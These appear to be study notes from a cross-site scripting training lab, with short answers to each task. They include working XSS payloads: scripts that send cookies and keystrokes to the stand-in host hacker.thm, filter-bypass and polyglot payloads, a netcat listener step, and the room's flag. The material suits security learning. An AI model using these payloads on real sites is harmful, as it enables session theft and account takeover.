Intro to Cross Site Scripting

Notes on XSS and Exploiting Cross-Site Scripting Vulnerabilities

TASK 1 - Room Brief

Prerequisites

Introduction to XSS

Questions:

  1. What does XSS stand for?
    • Answer: Cross-site scripting

TASK 2 - XSS Payloads

What is a Payload?

Examples of XSS Intentions

  1. Proof of Concept:
    • Example: <script>alert('XSS');</script>
  2. Session Stealing:
    • Example: <script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
  3. Key Logger:
    • Example: <script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>
  4. Business Logic:
    • Example: <script>user.changeEmail('attacker@hacker.thm');</script>

Questions:

  1. Which document property could contain the user's session token?
    • Answer: document.cookie
  2. Which JavaScript method is often used as a Proof Of Concept?
    • Answer: alert

TASK 3 - Reflected XSS

Reflected XSS

Example Scenario

Potential Impact

Testing for Reflected XSS

Questions:

  1. Where in an URL is a good place to test for reflected XSS?
    • Answer: parameters

TASK 4 - Stored XSS

Stored XSS

Example Scenario

Potential Impact

Testing for Stored XSS

Questions:

  1. How are stored XSS payloads usually stored on a website?
    • Answer: database

TASK 5 - DOM Based XSS

What is the DOM?

DOM Based XSS

Example Scenario

Potential Impact

Testing for DOM Based XSS

Questions:

  1. What unsafe JavaScript method is good to look for in source code?
    • Answer: eval()

TASK 6 - Blind XSS

Blind XSS

Example Scenario

Potential Impact

Testing for Blind XSS

Questions:

  1. What tool can you use to test for Blind XSS?
    • Answer: XSS Hunter Express
  2. What type of XSS is very similar to Blind XSS?
    • Answer: Stored XSS

TASK 7 - Perfecting your Payload

Crafting Effective Payloads

Testing Levels:

  1. Level One:
    • Payload: <script>alert('THM');</script>
  2. Level Two:
    • Payload: "><script>alert('THM');</script>
  3. Level Three:
    • Payload: </textarea><script>alert('THM');</script>
  4. Level Four:
    • Payload: ';alert('THM');//
  5. Level Five:
    • Payload: <sscriptcript>alert('THM');</sscriptcript>
  6. Level Six:
    • Payload: /images/cat.jpg" onload="alert('THM');

Polyglots:

/-//*\/'/"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e


**Questions:**
1. What is the flag you received from level six?
 - Answer: `THM{XSS_MASTER}`

## TASK 8 - Practical Example (Blind XSS)
### Testing Blind XSS
1. Set up a listening server using Netcat:
 ```bash
 nc -nlvp 9001
  1. Craft payload to extract user's cookies and exfiltrate to the listening server.

Example of Crafting and Testing Payloads in a Practical Scenario

These notes cover the essentials of understanding and exploiting XSS vulnerabilities, from basic concepts to practical application and testing strategies.